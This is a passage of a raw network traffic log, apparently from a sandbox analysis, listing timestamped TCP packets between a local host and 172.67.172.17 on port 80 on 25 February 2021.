Feb 25, 2021 15:16:00.898143053 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.898164034 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.898189068 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.898205996 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.898222923 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.898227930 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.898246050 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.898258924 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.898269892 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.898282051 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.898289919 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.898303032 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.898305893 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.898324966 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.898339033 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.898343086 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.898363113 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.898385048 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.898403883 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.898405075 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.898441076 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.899111032 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.899132013 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.899156094 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.899173021 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.899175882 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.899190903 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.899195910 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.899208069 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.899229050 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.915678978 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.915699959 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.915724993 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.915741920 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.915770054 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.915783882 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.915791988 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.915810108 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.915827036 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.915827036 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.915843964 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.915860891 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.915882111 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.915884018 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.915904045 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.915921926 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.915946960 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.916085958 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.916101933 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.916125059 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.916136026 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.916152954 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.916184902 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.916280031 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.916296959 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.916321993 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.916342020 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.916342974 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.916358948 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.916374922 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.916379929 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.916395903 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.916414976 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.916426897 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.916429043 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.916446924 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.916464090 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.916479111 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.916495085 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.916517973 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.916532993 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.916534901 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.916565895 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.917267084 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.917293072 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.917321920 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.917325974 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.917344093 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.917345047 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.917366028 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.917376995 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.917402029 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.917418003 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.917423010 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.917442083 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.918550968 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.918576002 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.918603897 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.918610096 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.918622971 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.918627977 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.918644905 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.918664932 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.918679953 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.918682098 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.918699980 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.918715954 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.918734074 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.918735981 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.918751955 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.918762922 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.918771029 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.918787003 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.918788910 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.918812037 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.920068026 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.920094967 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.920121908 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.920125961 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.920142889 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.920149088 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.920160055 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.920181036 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.920191050 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.920198917 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.920217037 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.920238018 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.920241117 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.920257092 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.920259953 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.920289993 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.920474052 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.920490026 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.920511007 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.920526981 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.920530081 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.920543909 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.920561075 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.920567036 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.920583010 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.920599937 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.920609951 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.920624971 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.920636892 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.920644045 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.920660019 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.920677900 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.920692921 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.920696974 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.920710087 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.920727015 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.920753002 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.922795057 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.922816038 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.922837019 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.922852993 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.922868967 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.922888994 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.922931910 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:01.250960112 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:01.251019955 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:01.875993967 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:01.877821922 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:05.140067101 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:05.143987894 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:07.247229099 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:07.308887005 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.308917999 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.308932066 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.308944941 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.308959007 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.308973074 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.308990955 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.309007883 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.309015036 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:07.309025049 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.309046030 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.309066057 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.309082985 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.309096098 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:07.309101105 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.309119940 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.309135914 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.309144020 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:07.309154987 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.309163094 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:07.309174061 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.309192896 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.309195995 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:07.309212923 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.309231043 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.309247971 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.309257030 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:07.309266090 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.309283018 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.309292078 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:07.309302092 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.309315920 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.309320927 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:07.309336901 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.309346914 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:07.309355974 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.309402943 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.309402943 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:07.309411049 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.309415102 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.309428930 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.309446096 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.309462070 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.309482098 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.309495926 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:07.309588909 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:07.309864998 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.309887886 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.309909105 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.309931040 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.309947014 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:07.309948921 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.309967995 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.309977055 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:07.309988022 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.310003996 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.310020924 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.310026884 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:07.310039997 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.310049057 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:07.310062885 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.310074091 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:07.310081959 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.310097933 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.310113907 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.310129881 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.310136080 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:07.310148001 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.310164928 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.310173035 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:07.310182095 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.310201883 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.310203075 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:07.310220003 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.310223103 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:07.310269117 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:07.310537100 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.310555935 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.310578108 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.310596943 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.310616016 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.310635090 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.310652018 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.310668945 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.310668945 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:07.310688019 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.310705900 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.310724020 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.310745001 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.310745955 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:07.310770035 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.310787916 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.310800076 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:07.310801983 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.310821056 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.310837984 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.310841084 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:07.310858011 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.310877085 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.310894012 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.310910940 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.310919046 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:07.310928106 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.310937881 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:07.310946941 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.310964108 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.310966015 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:07.310980082 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.311001062 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.311017990 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.311019897 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:07.311034918 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.311058998 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:07.311081886 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:07.311543941 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.311552048 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.311574936 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.311594963 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.311618090 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.311624050 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.311636925 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.311651945 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:07.311676979 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:07.311739922 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:09.713603973 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:09.775201082 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:09.805787086 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:09.805830002 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:09.805855989 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:09.805881977 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:09.805907011 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:09.805906057 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:09.805932045 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:09.805958986 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:09.805969954 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:09.805989027 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:09.805991888 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:09.806014061 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:09.806039095 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:09.806057930 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:09.806062937 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:09.806078911 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:09.806087017 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:09.806112051 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:09.806124926 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:09.806137085 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:09.806159973 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:09.806179047 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:09.806186914 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:09.806206942 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:09.806252003 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:09.810945988 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:09.810986996 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:09.811012030 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:09.811036110 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:09.811063051 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:09.811064005 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:09.811089993 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:09.811091900 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:09.811114073 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:09.811115026 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:09.811139107 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:09.811152935 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:09.811162949 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:09.811186075 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:09.811209917 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:09.811213017 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:09.811233044 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:09.811254025 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:09.811259985 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:09.811285973 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:09.811302900 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:09.811307907 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:09.811331987 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:09.811355114 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:09.811369896 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:09.811371088 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:09.811386108 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:09.811408997 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:09.811429977 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:11.567480087 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:11.614429951 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:11.687016964 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:11.687051058 CET	80	49730	172.67.172.17	192.168.2.7
